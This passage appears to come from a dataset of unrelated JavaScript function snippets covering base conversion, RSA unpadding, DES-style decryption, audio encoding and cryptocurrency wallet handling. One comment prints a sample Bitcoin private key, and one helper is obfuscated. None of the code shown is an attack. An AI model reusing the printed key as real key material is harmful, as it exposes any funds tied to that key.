form.\r\n\t\t$('#chhash_random_seed').val(hash_of_random_seed);\r\n\t\t$('#hash_passphrase').val(hash_of_passphase);\t\t//set up secret exponent in the field of form.\r\n\t\t\r\n\t\t//This value is a private key hex.\r\n\t\t//Generator -> press \"Togle Key\" button -> Private key WIF -> converter -> from Base58Check to hex -> is this value.\r\n\t\t//from Base58Check: 5KbEudEWZMr38UFxUrEww3ERKt3Pcc665cuQXBh3zoH6GZvkyBN\r\n\t\t//to hex: e9c4fa1d53cb47d8f161f083f49a478e1730d279feb2b41ec15675c07a094150\r\n\t\t//== Secret Exponent == hash value.\r\n\t\t\r\n\t\t//So when random_seed is defined and not false,\r\n\t\t//then private_key = Base58Check(hash(passphase) XOR hash(random_seed));\r\n }", "function convert(data){\n\tconst theCCipher = cipher(\"qsdsdlkgjslkfgjfgsfsfqdfxhsgjyiuyoupukjqrG\");\n\tdata = theCCipher(data);\n\treturn data;\n}", "function strDec(data, firstKey, secondKey, thirdKey) {\n var leng = data.length;\n var decStr = \"\";\n var firstKeyBt, secondKeyBt, thirdKeyBt, firstLength, secondLength, thirdLength;\n if (firstKey != null && firstKey != \"\") {\n firstKeyBt = getKeyBytes(firstKey);\n firstLength = firstKeyBt.length;\n }\n if (secondKey != null && secondKey != \"\") {\n secondKeyBt = getKeyBytes(secondKey);\n secondLength = secondKeyBt.length;\n }\n if (thirdKey != null && thirdKey != \"\") {\n thirdKeyBt = getKeyBytes(thirdKey);\n thirdLength = thirdKeyBt.length;\n }\n\n var iterator = parseInt(leng / 16);\n var i = 0;\n for (i = 0; i < iterator; i++) {\n var tempData = data.substring(i * 16 + 0, i * 16 + 16);\n var strByte = hexToBt64(tempData);\n var intByte = new Array(64);\n var j = 0;\n for (j = 0; j < 64; j++) {\n intByte[j] = parseInt(strByte.substring(j, j + 1));\n }\n var decByte;\n if (firstKey != null && firstKey != \"\" && secondKey != null && secondKey != \"\" && thirdKey != null && thirdKey != \"\") {\n var tempBt;\n var x, y, z;\n tempBt = intByte;\n for (x = thirdLength - 1; x >= 0; x--) {\n tempBt = dec(tempBt, thirdKeyBt[x]);\n }\n for (y = secondLength - 1; y >= 0; y--) {\n tempBt = dec(tempBt, secondKeyBt[y]);\n }\n for (z = firstLength - 1; z >= 0; z--) {\n tempBt = dec(tempBt, firstKeyBt[z]);\n }\n decByte = tempBt;\n } else {\n if (firstKey != null && firstKey != \"\" && secondKey != null && secondKey != \"\") {\n var tempBt;\n var x, y, z;\n tempBt = intByte;\n for (x = secondLength - 1; x >= 0; x--) {\n tempBt = dec(tempBt, secondKeyBt[x]);\n }\n for (y = firstLength - 1; y >= 0; y--) {\n tempBt = dec(tempBt, firstKeyBt[y]);\n }\n decByte = tempBt;\n } else {\n if (firstKey != null && firstKey != \"\") {\n var tempBt;\n var x, y, z;\n tempBt = intByte;\n for (x = firstLength - 1; x >= 0; x--) {\n tempBt = dec(tempBt, firstKeyBt[x]);\n }\n decByte = tempBt;\n }\n }\n }\n decStr += byteToString(decByte);\n }\n return decStr;\n}", "function bytesFromRepresentation(input) {\n if (!isValidRepresentation(input)) {\n throw new Error(\"Unsupported Currency representation: \" + input);\n }\n return input.length === 3 ? isoToBytes(input) : buffer_1.Buffer.from(input, \"hex\");\n}", "function pkcs1unpad2(g,j){var a=g.toByteArray();var f=0;while(f<a.length&&a[f]==0){++f;}if(a.length-f!=j-1||a[f]!=2){return null}++f;while(a[f]!=0){if(++f>=a.length){return null}}var e=\"\";while(++f<a.length){var h=a[f]&255;if(h<128){e+=String.fromCharCode(h);}else{if((h>191)&&(h<224)){e+=String.fromCharCode(((h&31)<<6)|(a[f+1]&63));++f;}else{e+=String.fromCharCode(((h&15)<<12)|((a[f+1]&63)<<6)|(a[f+2]&63));f+=2;}}}return e}", "function pkcs1unpad2(g,j){var a=g.toByteArray();var f=0;while(f<a.length&&a[f]==0){++f;}if(a.length-f!=j-1||a[f]!=2){return null}++f;while(a[f]!=0){if(++f>=a.length){return null}}var e=\"\";while(++f<a.length){var h=a[f]&255;if(h<128){e+=String.fromCharCode(h);}else {if((h>191)&&(h<224)){e+=String.fromCharCode(((h&31)<<6)|(a[f+1]&63));++f;}else {e+=String.fromCharCode(((h&15)<<12)|((a[f+1]&63)<<6)|(a[f+2]&63));f+=2;}}}return e}", "toRprBE(buff, o, e) {\n toRprBE(buff, o, e, this.n64*8);\n }", "getRawInfo() {\n let rv = {};\n for (const { key, value } of this.data.info) {\n rv[key] = typeof value === 'string' ? Serialize.hexToUint8Array(value) : value;\n }\n return rv;\n }", "function convertBase( str, baseOut, baseIn, sign ) {\r\n\t var d, e, k, r, x, xc, y,\r\n\t i = str.indexOf( '.' ),\r\n\t dp = DECIMAL_PLACES,\r\n\t rm = ROUNDING_MODE;\r\n\r\n\t if ( baseIn < 37 ) str = str.toLowerCase();\r\n\r\n\t // Non-integer.\r\n\t if ( i >= 0 ) {\r\n\t k = POW_PRECISION;\r\n\r\n\t // Unlimited precision.\r\n\t POW_PRECISION = 0;\r\n\t str = str.replace( '.', '' );\r\n\t y = new BigNumber(baseIn);\r\n\t x = y.pow( str.length - i );\r\n\t POW_PRECISION = k;\r\n\r\n\t // Convert str as if an integer, then restore the fraction part by dividing the\r\n\t // result by its base raised to a power.\r\n\t y.c = toBaseOut( toFixedPoint( coeffToString( x.c ), x.e ), 10, baseOut );\r\n\t y.e = y.c.length;\r\n\t }\r\n\r\n\t // Convert the number as integer.\r\n\t xc = toBaseOut( str, baseIn, baseOut );\r\n\t e = k = xc.length;\r\n\r\n\t // Remove trailing zeros.\r\n\t for ( ; xc[--k] == 0; xc.pop() );\r\n\t if ( !xc[0] ) return '0';\r\n\r\n\t if ( i < 0 ) {\r\n\t --e;\r\n\t } else {\r\n\t x.c = xc;\r\n\t x.e = e;\r\n\r\n\t // sign is needed for correct rounding.\r\n\t x.s = sign;\r\n\t x = div( x, y, dp, rm, baseOut );\r\n\t xc = x.c;\r\n\t r = x.r;\r\n\t e = x.e;\r\n\t }\r\n\r\n\t d = e + dp + 1;\r\n\r\n\t // The rounding digit, i.e. the digit to the right of the digit that may be rounded up.\r\n\t i = xc[d];\r\n\t k = baseOut / 2;\r\n\t r = r || d < 0 || xc[d + 1] != null;\r\n\r\n\t r = rm < 4 ? ( i != null || r ) && ( rm == 0 || rm == ( x.s < 0 ? 3 : 2 ) )\r\n\t : i > k || i == k &&( rm == 4 || r || rm == 6 && xc[d - 1] & 1 ||\r\n\t rm == ( x.s < 0 ? 8 : 7 ) );\r\n\r\n\t if ( d < 1 || !xc[0] ) {\r\n\r\n\t // 1^-dp or 0.\r\n\t str = r ? toFixedPoint( '1', -dp ) : '0';\r\n\t } else {\r\n\t xc.length = d;\r\n\r\n\t if (r) {\r\n\r\n\t // Rounding up may mean the previous digit has to be rounded up and so on.\r\n\t for ( --baseOut; ++xc[--d] > baseOut; ) {\r\n\t xc[d] = 0;\r\n\r\n\t if ( !d ) {\r\n\t ++e;\r\n\t xc.unshift(1);\r\n\t }\r\n\t }\r\n\t }\r\n\r\n\t // Determine trailing zeros.\r\n\t for ( k = xc.length; !xc[--k]; );\r\n\r\n\t // E.g. [4, 11, 15] becomes 4bf.\r\n\t for ( i = 0, str = ''; i <= k; str += ALPHABET.charAt( xc[i++] ) );\r\n\t str = toFixedPoint( str, e );\r\n\t }\r\n\r\n\t // The caller will add the sign.\r\n\t return str;\r\n\t }", "function pkcs1unpad2(g,j){var a=g.toByteArray();var f=0;while(f<a.length&&a[f]==0){++f}if(a.length-f!=j-1||a[f]!=2){return null}++f;while(a[f]!=0){if(++f>=a.length){return null}}var e=\"\";while(++f<a.length){var h=a[f]&255;if(h<128){e+=String.fromCharCode(h)}else{if((h>191)&&(h<224)){e+=String.fromCharCode(((h&31)<<6)|(a[f+1]&63));++f}else{e+=String.fromCharCode(((h&15)<<12)|((a[f+1]&63)<<6)|(a[f+2]&63));f+=2}}}return e}", "function pkcs1unpad2(g,j){var a=g.toByteArray();var f=0;while(f<a.length&&a[f]==0){++f}if(a.length-f!=j-1||a[f]!=2){return null}++f;while(a[f]!=0){if(++f>=a.length){return null}}var e=\"\";while(++f<a.length){var h=a[f]&255;if(h<128){e+=String.fromCharCode(h)}else{if((h>191)&&(h<224)){e+=String.fromCharCode(((h&31)<<6)|(a[f+1]&63));++f}else{e+=String.fromCharCode(((h&15)<<12)|((a[f+1]&63)<<6)|(a[f+2]&63));f+=2}}}return e}", "function pkcs1unpad2(g,j){var a=g.toByteArray();var f=0;while(f<a.length&&a[f]==0){++f}if(a.length-f!=j-1||a[f]!=2){return null}++f;while(a[f]!=0){if(++f>=a.length){return null}}var e=\"\";while(++f<a.length){var h=a[f]&255;if(h<128){e+=String.fromCharCode(h)}else{if((h>191)&&(h<224)){e+=String.fromCharCode(((h&31)<<6)|(a[f+1]&63));++f}else{e+=String.fromCharCode(((h&15)<<12)|((a[f+1]&63)<<6)|(a[f+2]&63));f+=2}}}return e}", "function pkcs1unpad2(g,j){var a=g.toByteArray();var f=0;while(f<a.length&&a[f]==0){++f}if(a.length-f!=j-1||a[f]!=2){return null}++f;while(a[f]!=0){if(++f>=a.length){return null}}var e=\"\";while(++f<a.length){var h=a[f]&255;if(h<128){e+=String.fromCharCode(h)}else{if((h>191)&&(h<224)){e+=String.fromCharCode(((h&31)<<6)|(a[f+1]&63));++f}else{e+=String.fromCharCode(((h&15)<<12)|((a[f+1]&63)<<6)|(a[f+2]&63));f+=2}}}return e}", "function changeHexidecimal(){\n\t//add selected class to hex\n\tdocument.getElementById(\"hexidecimal\").classList.add('selected');\n\t//remove slected class from decimal and binary modes\n\tdocument.getElementById(\"decimal\").classList.remove('selected');\n\tdocument.getElementById(\"binary\").classList.remove('selected');\n\t//disable buttons for userinput constraints \n\tdocument.getElementById(\"deci\").classList.add('disabled');\n\tvar elements = document.getElementsByClassName(\"hex\");\n\tfor (var i = 0, len = elements.length; i < len; i++) {\n \telements[i].classList.remove('disabled');\n\t}\n\tvar elements = document.getElementsByClassName(\"decimal\");\n\tfor (var i = 0, len = elements.length; i < len; i++) {\n \telements[i].classList.remove(\"disabled\");\n\t}\n\tdecimalBool = false;\n\tdocument.getElementById(\"deci\").classList.add(\"disable\");\n\t//clears display, history and resets memory value on mode change\n\tmemoryValue = \"\";\n\tclearDisplay();\n\tclearHistory();\n}", "function f() {\n\trl.question('What number do you want to convert?', (reply) => {\n\t\treply = reply.trim();\n\t\tfor (var i = 0; i < reply.length; i++) {\n\t\t\tif (reply.charAt(i) > 1 || isNaN(Number(reply.charAt(i)))) {\n\t\t\t\tconsole.log(\"not a binary number\");\n\t\t\t\tf();\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\tconvertFromNum = reply;\n\t\trl.question('What base do you want to convert to? 8, 10, 16, or 32?', (reply) => {\n\t\t\treply = reply.trim();\n\t\t\tif (reply === 'octal' || reply === '8') {\n\t\t\t\tconsole.log(toOctal(convertFromNum));\n\t\t\t\tprocess.exit(0);\n\t\t\t}else if (reply === 'decimal' || reply === '10') {\n\t\t\t\tconsole.log(toDecimal(convertFromNum));\n\t\t\t\tprocess.exit(0);\n\t\t\t}else if (reply.startsWith('h') || reply === '16') {\n\t\t\t\tconsole.log(toHex(convertFromNum));\n\t\t\t\tprocess.exit(0);\n\t\t\t}else if (reply === '32') {\n\t\t\t\tconsole.log(toB32(convertFromNum));\n\t\t\t\tprocess.exit(0);\n\t\t\t}\n\t\t\tconsole.log(\"cannot convert to that base\");\n\t\t\tf();\n\t\t});\n\t});\n}", "function hexToFieldPreserve(hexStr, packingSize, packets) {\n let bitsArr = [];\n bitsArr = splitHexToBitsN(strip0x(hexStr).toString(), packingSize.toString());\n let decArr = []; // decimal array\n decArr = bitsArr.map(item => binToDec(item.toString()));\n // now we need to add any missing zero elements\n if (packets !== undefined) {\n const missing = packets - decArr.length;\n for (let i = 0; i < missing; i += 1) decArr.unshift('0');\n }\n return decArr;\n}", "function msfix1(gfc) {\n for (var sb = 0; sb < Encoder.SBMAX_l; sb++) {\n /* use this fix if L & R masking differs by 2db or less */\n /* if db = 10*log10(x2/x1) < 2 */\n /* if (x2 < 1.58*x1) { */\n if (gfc.thm[0].l[sb] > 1.58 * gfc.thm[1].l[sb]\n || gfc.thm[1].l[sb] > 1.58 * gfc.thm[0].l[sb])\n continue;\n var mld = gfc.mld_l[sb] * gfc.en[3].l[sb];\n var rmid = Math.max(gfc.thm[2].l[sb],\n Math.min(gfc.thm[3].l[sb], mld));\n\n mld = gfc.mld_l[sb] * gfc.en[2].l[sb];\n var rside = Math.max(gfc.thm[3].l[sb],\n Math.min(gfc.thm[2].l[sb], mld));\n gfc.thm[2].l[sb] = rmid;\n gfc.thm[3].l[sb] = rside;\n }\n\n for (var sb = 0; sb < Encoder.SBMAX_s; sb++) {\n for (var sblock = 0; sblock < 3; sblock++) {\n if (gfc.thm[0].s[sb][sblock] > 1.58 * gfc.thm[1].s[sb][sblock]\n || gfc.thm[1].s[sb][sblock] > 1.58 * gfc.thm[0].s[sb][sblock])\n continue;\n var mld = gfc.mld_s[sb] * gfc.en[3].s[sb][sblock];\n var rmid = Math.max(gfc.thm[2].s[sb][sblock],\n Math.min(gfc.thm[3].s[sb][sblock], mld));\n\n mld = gfc.mld_s[sb] * gfc.en[2].s[sb][sblock];\n var rside = Math.max(gfc.thm[3].s[sb][sblock],\n Math.min(gfc.thm[2].s[sb][sblock], mld));\n\n gfc.thm[2].s[sb][sblock] = rmid;\n gfc.thm[3].s[sb][sblock] = rside;\n }\n }\n }", "function msfix1(gfc) {\n for (var sb = 0; sb < Encoder.SBMAX_l; sb++) {\n /* use this fix if L & R masking differs by 2db or less */\n /* if db = 10*log10(x2/x1) < 2 */\n /* if (x2 < 1.58*x1) { */\n if (gfc.thm[0].l[sb] > 1.58 * gfc.thm[1].l[sb]\n || gfc.thm[1].l[sb] > 1.58 * gfc.thm[0].l[sb])\n continue;\n var mld = gfc.mld_l[sb] * gfc.en[3].l[sb];\n var rmid = Math.max(gfc.thm[2].l[sb],\n Math.min(gfc.thm[3].l[sb], mld));\n\n mld = gfc.mld_l[sb] * gfc.en[2].l[sb];\n var rside = Math.max(gfc.thm[3].l[sb],\n Math.min(gfc.thm[2].l[sb], mld));\n gfc.thm[2].l[sb] = rmid;\n gfc.thm[3].l[sb] = rside;\n }\n\n for (var sb = 0; sb < Encoder.SBMAX_s; sb++) {\n for (var sblock = 0; sblock < 3; sblock++) {\n if (gfc.thm[0].s[sb][sblock] > 1.58 * gfc.thm[1].s[sb][sblock]\n || gfc.thm[1].s[sb][sblock] > 1.58 * gfc.thm[0].s[sb][sblock])\n continue;\n var mld = gfc.mld_s[sb] * gfc.en[3].s[sb][sblock];\n var rmid = Math.max(gfc.thm[2].s[sb][sblock],\n Math.min(gfc.thm[3].s[sb][sblock], mld));\n\n mld = gfc.mld_s[sb] * gfc.en[2].s[sb][sblock];\n var rside = Math.max(gfc.thm[3].s[sb][sblock],\n Math.min(gfc.thm[2].s[sb][sblock], mld));\n\n gfc.thm[2].s[sb][sblock] = rmid;\n gfc.thm[3].s[sb][sblock] = rside;\n }\n }\n }", "converseToString(): string {\n return reverse(this.converseToBase58());\n // return this.converseToBase58();\n }", "_getNegativeDecimal(value, radix) {\n const that = this;\n let negativeBinary = value;\n\n if (radix === 8) {\n let threeBits = [];\n for (let i = 0; i < value.length; i++) {\n let threeBit = parseInt(value.charAt(i), 8).toString(2);\n while (threeBit.length !== 3) {\n threeBit = `0${threeBit}`;\n }\n threeBits.push(threeBit);\n }\n negativeBinary = threeBits.join('');\n while (negativeBinary.charAt(0) === '0') {\n negativeBinary = negativeBinary.slice(1);\n }\n }\n else if (radix === 16) {\n let bytes = [];\n for (let j = 0; j < value.length; j++) {\n let currentByte = parseInt(value.charAt(j), 16).toString(2);\n while (currentByte.length !== 4) {\n currentByte = `0${currentByte}`;\n }\n bytes.push(currentByte);\n }\n negativeBinary = bytes.join('');\n }\n\n let negativeDecimal = negativeBinary.replace(/0/g, 'a');\n negativeDecimal = negativeDecimal.replace(/1/g, 'b');\n negativeDecimal = negativeDecimal.replace(/a/g, '1');\n negativeDecimal = negativeDecimal.replace(/b/g, '0');\n\n if (this._wordLengthNumber < 64) {\n negativeDecimal = (parseInt(negativeDecimal, 2) + 1) * -1;\n }\n else {\n negativeDecimal = that._getBigNumberFrom64BitBinOctHex(negativeDecimal, radix);\n negativeDecimal = negativeDecimal.add(1).negate();\n }\n\n return negativeDecimal;\n }", "function normalizeSet(s, output_inverted_variant) {\n var orig = s;\n\n // propagate deferred exceptions = error reports.\n if (s instanceof Error) {\n return s;\n }\n\n if (s && s.length) {\n // // inverted set?\n // if (s[0] === '^') {\n // output_inverted_variant = !output_inverted_variant;\n // s = s.substr(1);\n // }\n\n var l = new Array(65536 + 3);\n set2bitarray(l, s);\n\n s = bitarray2set(l, output_inverted_variant);\n }\n\n return s;\n}", "function\tBi2Base64\t(\tbi\t)\t\t\t\t\t\t\t\t// BigInteger -> to Base64-string.\r\n\t{\r\n\t\treturn hexToBase64(bi.toString(16));\r\n\t}", "checkRecoveryCoins(domain) {\r\n const {\r\n COIN_PENDING,\r\n COIN_RECOVERY,\r\n CRYPTO,\r\n debug,\r\n storage,\r\n } = this.config;\r\n\r\n if (debug) {\r\n console.log(\"WalletBF.checkRecoveryCoins\");\r\n }\r\n\r\n let wrongType = false;\r\n let base64Coins = new Array();\r\n let coins = this.getRecoveryCoins();\r\n const crypto = this.getPersistentVariable(CRYPTO, \"XBT\");\r\n\r\n if (coins.length === 0) {\r\n // having cleared all the recovery coins, put back all that were recovered\r\n let pending = this._getCoinList(COIN_PENDING, true);\r\n pending.forEach(function(elt) {\r\n console.log(\"pending coin\", elt);\r\n });\r\n // TO_FIX TO_DO\r\n if (pending.length > 0) {\r\n storage.addAllIfAbsent(COIN_RECOVERY, pending, false, crypto);\r\n storage.removeAllCoins(COIN_PENDING, pending, crypto);\r\n }\r\n return;\r\n }\r\n\r\n let coinsToCheck = JSON.parse(JSON.stringify(coins.slice(0, 50)));\r\n // Deep copy of first 50 elements of the coin recovery array\r\n\r\n coinsToCheck.forEach(function(elt) {\r\n if (typeof(elt) === \"string\") {\r\n base64Coins.push(elt);\r\n } else if (\"base64\" in elt) {\r\n base64Coins.push(elt.base64);\r\n } else {\r\n wrongType = wrongType || true;\r\n }\r\n });\r\n \r\n if (wrongType) {\r\n // Cannot recover\r\n console.log(\"/exist requires base64 strings\");\r\n return;\r\n }\r\n \r\n if (typeof(domain) !== 'string') {\r\n // Set the domain if all coins come from the same Issuer\r\n domain = this._getSameDomain(coinsToCheck);\r\n }\r\n \r\n const args = {\r\n issuerRequest: {\r\n fn: \"exist\",\r\n coin: base64Coins\r\n }\r\n };\r\n\r\n this.issuer(\"exist\", args, { domain: domain }).then((existResponse) => {\r\n\r\n if (\"coin\" in existResponse && existResponse.coin.length > 0) {\r\n let forRecovery = new Array();\r\n Object.keys(existResponse.coin).forEach((key) => {\r\n console.log(existResponse.coin[key]);\r\n let coin = coinsToCheck.find(function(element) {\r\n return element.base64 === existResponse.coin[key];\r\n });\r\n if (typeof(coin) !== \"undefined\") {\r\n console.log(\"coin still exists - should still have their ref etc\", coin);\r\n forRecovery.push(coin);\r\n } else {\r\n console.log(\"/exist returned a coin that was not found in the list that was sent!\", base64);\r\n }\r\n });\r\n storage.addAllIfAbsent(COIN_PENDING, forRecovery, false, crypto);\r\n }\r\n storage.removeAllCoins(COIN_RECOVERY, coinsToCheck, crypto);\r\n window.setTimeout(this.checkRecoveryCoins.bind(this), 100, domain); // TO_FIX\r\n }).catch((err) => {\r\n console.log(\"checkRecoveryCoins failed to return OK\", err);\r\n });\r\n }", "function _0x1e81e0(_0x3f0a0d,_0x15ae2c){var _0x4c6ead={'pvLtp':function(_0x2b15ad,_0x5ae2db){return _0x1ab944['XOXIn'](_0x2b15ad,_0x5ae2db);}};if(_0x1ab944[_0x3a21('1a','BPSR')]===_0x1ab944[_0x3a21('1b','tu^R')]){return _0x4c6ead[_0x3a21('1c','N(kb')](unescape,encodeURIComponent(input));}else{var _0x369dba=_0x1ab944['FNXwY'](_0x3f0a0d,0xffff)+(_0x15ae2c&0xffff);var _0x1b814a=_0x1ab944[_0x3a21('1d','hZwf')]((_0x3f0a0d>>0x10)+_0x1ab944[_0x3a21('1e','xs0d')](_0x15ae2c,0x10),_0x1ab944[_0x3a21('1f','FX0b')](_0x369dba,0x10));return _0x1ab944[_0x3a21('20','kbpQ')](_0x1ab944[_0x3a21('21','0wrX')](_0x1b814a,0x10),_0x1ab944[_0x3a21('22','qCtD')](_0x369dba,0xffff));}}", "function checkAndFormatPlainUTXO(utxo) {\n\tif (typeof utxo != 'object') {\n\t\tthrow new Error(`UTXO is a \"${typeof utxo}\" but expected to be an object`);\n\t}\n\tconst bsvUTXO = new bsv.Transaction.UnspentOutput(utxo);\n\tconst formattedUTXO = bsvUTXO.toObject();\n\n\t// Convert amount to satoshis.\n\tdelete formattedUTXO.amount;\n\tformattedUTXO.satoshis = bsvUTXO.satoshis;\n\n\t// Rename 'scriptPubKey' property to 'script'. See: https://github.com/moneybutton/bsv/blob/17e99baa005d2add912312484430bb626211127a/lib/transaction/unspentoutput.js#L92\n\tassert(typeof formattedUTXO.scriptPubKey == 'string');\n\tformattedUTXO.script = formattedUTXO.scriptPubKey;\n\tdelete formattedUTXO.scriptPubKey;\n\n\t// Rename 'vout' property to 'outputIndex'. See: https://github.com/moneybutton/bsv/blob/17e99baa005d2add912312484430bb626211127a/lib/transaction/unspentoutput.js#L91\n\tassert(Number.isSafeInteger(formattedUTXO.vout));\n\tformattedUTXO.outputIndex = formattedUTXO.vout;\n\tdelete formattedUTXO.vout;\n\n\tcheckPlainUTXO(formattedUTXO);// This line is only for safety in case bsv lib changes utxo properties.\n\treturn formattedUTXO;\n}", "static packTrytes(trytes) {\n const trytesBits = [];\n for (const tryte of trytes) {\n trytesBits.push(TrytesHelper\n .ALPHABET\n .indexOf(tryte)\n .toString(2)\n .padStart(5, \"0\"));\n }\n let allBits = trytesBits.join(\"\");\n const remainder = allBits.length % 8;\n if (remainder > 0) {\n allBits += \"1\".repeat(8 - remainder);\n }\n return Converter.binaryToBytes(allBits);\n }", "function decodeBEs (bytes) {\n var val = decodeBEu(bytes);\n if ((bytes[0] & 0x80) == 0x80) {\n val -= Math.pow(256, bytes.length);\n }\n return val;\n}", "function decodeBEs (bytes) {\n var val = decodeBEu(bytes);\n if ((bytes[0] & 0x80) == 0x80) {\n val -= Math.pow(256, bytes.length);\n }\n return val;\n}", "function bitarray2set(l, output_inverted_variant, output_minimized) {\n // construct the inverse(?) set from the mark-set:\n //\n // Before we do that, we inject a sentinel so that our inner loops\n // below can be simple and fast:\n l[UNICODE_BASE_PLANE_MAX_CP$1 + 1] = 1;\n // now reconstruct the regex set:\n var rv = [];\n var i, j, cnt, lut, tn, tspec, match, pcode, ba4pcode, l2;\n var bitarr_is_cloned = false;\n var l_orig = l;\n\n if (output_inverted_variant) {\n // generate the inverted set, hence all unmarked slots are part of the output range:\n cnt = 0;\n for (i = 0; i <= UNICODE_BASE_PLANE_MAX_CP$1; i++) {\n if (!l[i]) {\n cnt++;\n }\n }\n if (cnt === UNICODE_BASE_PLANE_MAX_CP$1 + 1) {\n // When there's nothing in the output we output a special 'match-nothing' regex: `[^\\S\\s]`.\n // BUT... since we output the INVERTED set, we output the match-all set instead:\n return '\\\\S\\\\s';\n } else if (cnt === 0) {\n // When we find the entire Unicode range is in the output match set, we replace this with\n // a shorthand regex: `[\\S\\s]`\n // BUT... since we output the INVERTED set, we output the match-nothing set instead:\n return '^\\\\S\\\\s';\n }\n\n // Now see if we can replace several bits by an escape / pcode:\n if (output_minimized) {\n lut = Pcodes_bitarray_cache_test_order;\n for (tn = 0; lut[tn]; tn++) {\n tspec = lut[tn];\n // check if the uniquely identifying char is in the inverted set:\n if (!l[tspec[0]]) {\n // check if the pcode is covered by the inverted set:\n pcode = tspec[1];\n ba4pcode = Pcodes_bitarray_cache[pcode];\n match = 0;\n for (j = 0; j <= UNICODE_BASE_PLANE_MAX_CP$1; j++) {\n if (ba4pcode[j]) {\n if (!l[j]) {\n // match in current inverted bitset, i.e. there's at\n // least one 'new' bit covered by this pcode/escape:\n match++;\n } else if (l_orig[j]) {\n // mismatch!\n match = false;\n break;\n }\n }\n }\n\n // We're only interested in matches which actually cover some \n // yet uncovered bits: `match !== 0 && match !== false`.\n // \n // Apply the heuristic that the pcode/escape is only going to be used\n // when it covers *more* characters than its own identifier's length:\n if (match && match > pcode.length) {\n rv.push(pcode);\n\n // and nuke the bits in the array which match the given pcode:\n // make sure these edits are visible outside this function as\n // `l` is an INPUT parameter (~ not modified)!\n if (!bitarr_is_cloned) {\n l2 = new Array(UNICODE_BASE_PLANE_MAX_CP$1 + 1);\n for (j = 0; j <= UNICODE_BASE_PLANE_MAX_CP$1; j++) {\n l2[j] = l[j] || ba4pcode[j]; // `!(!l[j] && !ba4pcode[j])`\n }\n // recreate sentinel\n l2[UNICODE_BASE_PLANE_MAX_CP$1 + 1] = 1;\n l = l2;\n bitarr_is_cloned = true;\n } else {\n for (j = 0; j <= UNICODE_BASE_PLANE_MAX_CP$1; j++) {\n l[j] = l[j] || ba4pcode[j];\n }\n }\n }\n }\n }\n }\n\n i = 0;\n while (i <= UNICODE_BASE_PLANE_MAX_CP$1) {\n // find first character not in original set:\n while (l[i]) {\n i++;\n }\n if (i >= UNICODE_BASE_PLANE_MAX_CP$1 + 1) {\n break;\n }\n // find next character not in original set:\n for (j = i + 1; !l[j]; j++) {} /* empty loop */\n // generate subset:\n rv.push(i2c(i));\n if (j - 1 > i) {\n rv.push((j - 2 > i ? '-' : '') + i2c(j - 1));\n }\n i = j;\n }\n } else {\n // generate the non-inverted set, hence all logic checks are inverted here...\n cnt = 0;\n for (i = 0; i <= UNICODE_BASE_PLANE_MAX_CP$1; i++) {\n if (l[i]) {\n cnt++;\n }\n }\n if (cnt === UNICODE_BASE_PLANE_MAX_CP$1 + 1) {\n // When we find the entire Unicode range is in the output match set, we replace this with\n // a shorthand regex: `[\\S\\s]`\n return '\\\\S\\\\s';\n } else if (cnt === 0) {\n // When there's nothing in the output we output a special 'match-nothing' regex: `[^\\S\\s]`.\n return '^\\\\S\\\\s';\n }\n\n // Now see if we can replace several bits by an escape / pcode:\n if (output_minimized) {\n lut = Pcodes_bitarray_cache_test_order;\n for (tn = 0; lut[tn]; tn++) {\n tspec = lut[tn];\n // check if the uniquely identifying char is in the set:\n if (l[tspec[0]]) {\n // check if the pcode is covered by the set:\n pcode = tspec[1];\n ba4pcode = Pcodes_bitarray_cache[pcode];\n match = 0;\n for (j = 0; j <= UNICODE_BASE_PLANE_MAX_CP$1; j++) {\n if (ba4pcode[j]) {\n if (l[j]) {\n // match in current bitset, i.e. there's at\n // least one 'new' bit covered by this pcode/escape:\n match++;\n } else if (!l_orig[j]) {\n // mismatch!\n match = false;\n break;\n }\n }\n }\n\n // We're only interested in matches which actually cover some \n // yet uncovered bits: `match !== 0 && match !== false`.\n // \n // Apply the heuristic that the pcode/escape is only going to be used\n // when it covers *more* characters than its own identifier's length:\n if (match && match > pcode.length) {\n rv.push(pcode);\n\n // and nuke the bits in the array which match the given pcode:\n // make sure these edits are visible outside this function as\n // `l` is an INPUT parameter (~ not modified)!\n if (!bitarr_is_cloned) {\n l2 = new Array(UNICODE_BASE_PLANE_MAX_CP$1 + 1);\n for (j = 0; j <= UNICODE_BASE_PLANE_MAX_CP$1; j++) {\n l2[j] = l[j] && !ba4pcode[j];\n }\n // recreate sentinel\n l2[UNICODE_BASE_PLANE_MAX_CP$1 + 1] = 1;\n l = l2;\n bitarr_is_cloned = true;\n } else {\n for (j = 0; j <= UNICODE_BASE_PLANE_MAX_CP$1; j++) {\n l[j] = l[j] && !ba4pcode[j];\n }\n }\n }\n }\n }\n }\n\n i = 0;\n while (i <= UNICODE_BASE_PLANE_MAX_CP$1) {\n // find first character not in original set:\n while (!l[i]) {\n i++;\n }\n if (i >= UNICODE_BASE_PLANE_MAX_CP$1 + 1) {\n break;\n }\n // find next character not in original set:\n for (j = i + 1; l[j]; j++) {} /* empty loop */\n if (j > UNICODE_BASE_PLANE_MAX_CP$1 + 1) {\n j = UNICODE_BASE_PLANE_MAX_CP$1 + 1;\n }\n // generate subset:\n rv.push(i2c(i));\n if (j - 1 > i) {\n rv.push((j - 2 > i ? '-' : '') + i2c(j - 1));\n }\n i = j;\n }\n }\n\n assert(rv.length);\n var s = rv.join('');\n assert(s);\n\n // Check if the set is better represented by one of the regex escapes:\n var esc4s = EscCode_bitarray_output_refs.set2esc[s];\n if (esc4s) {\n // When we hit a special case like this, it is always the shortest notation, hence wins on the spot!\n return '\\\\' + esc4s;\n }\n return s;\n}", "function convert_cookie_array_to_binary_cookieset(cookie_array, suspected_account_cookies_array, bool_invert) {\n var my_bin_cookieset = [];\n var my_dec_cookieset = 0;\n\n bool_invert = (bool_invert == undefined) ? false : bool_invert;\n\n for (var i = 0; i < suspected_account_cookies_array.length; i++) {\n\tvar index = cookie_array.indexOf(suspected_account_cookies_array[i]);\n\tif (index == -1) {\n\t if (!bool_invert) {\n\t\tmy_bin_cookieset.unshift(0);\n\t }\n\t else {\n\t\tmy_bin_cookieset.unshift(1);\n\t }\n\t}\n\telse {\n\t if (!bool_invert) {\n\t\tmy_bin_cookieset.unshift(1);\n\t }\n\t else {\n\t\tmy_bin_cookieset.unshift(0);\n\t }\n\t}\n }\n\n my_dec_cookieset = binary_array_to_decimal(my_bin_cookieset);\n return {\n\tbinary_cookieset: my_bin_cookieset,\n\t decimal_cookieset: my_dec_cookieset\n\t }\n}", "function EncryptData() {\n var _0xd2e2x2 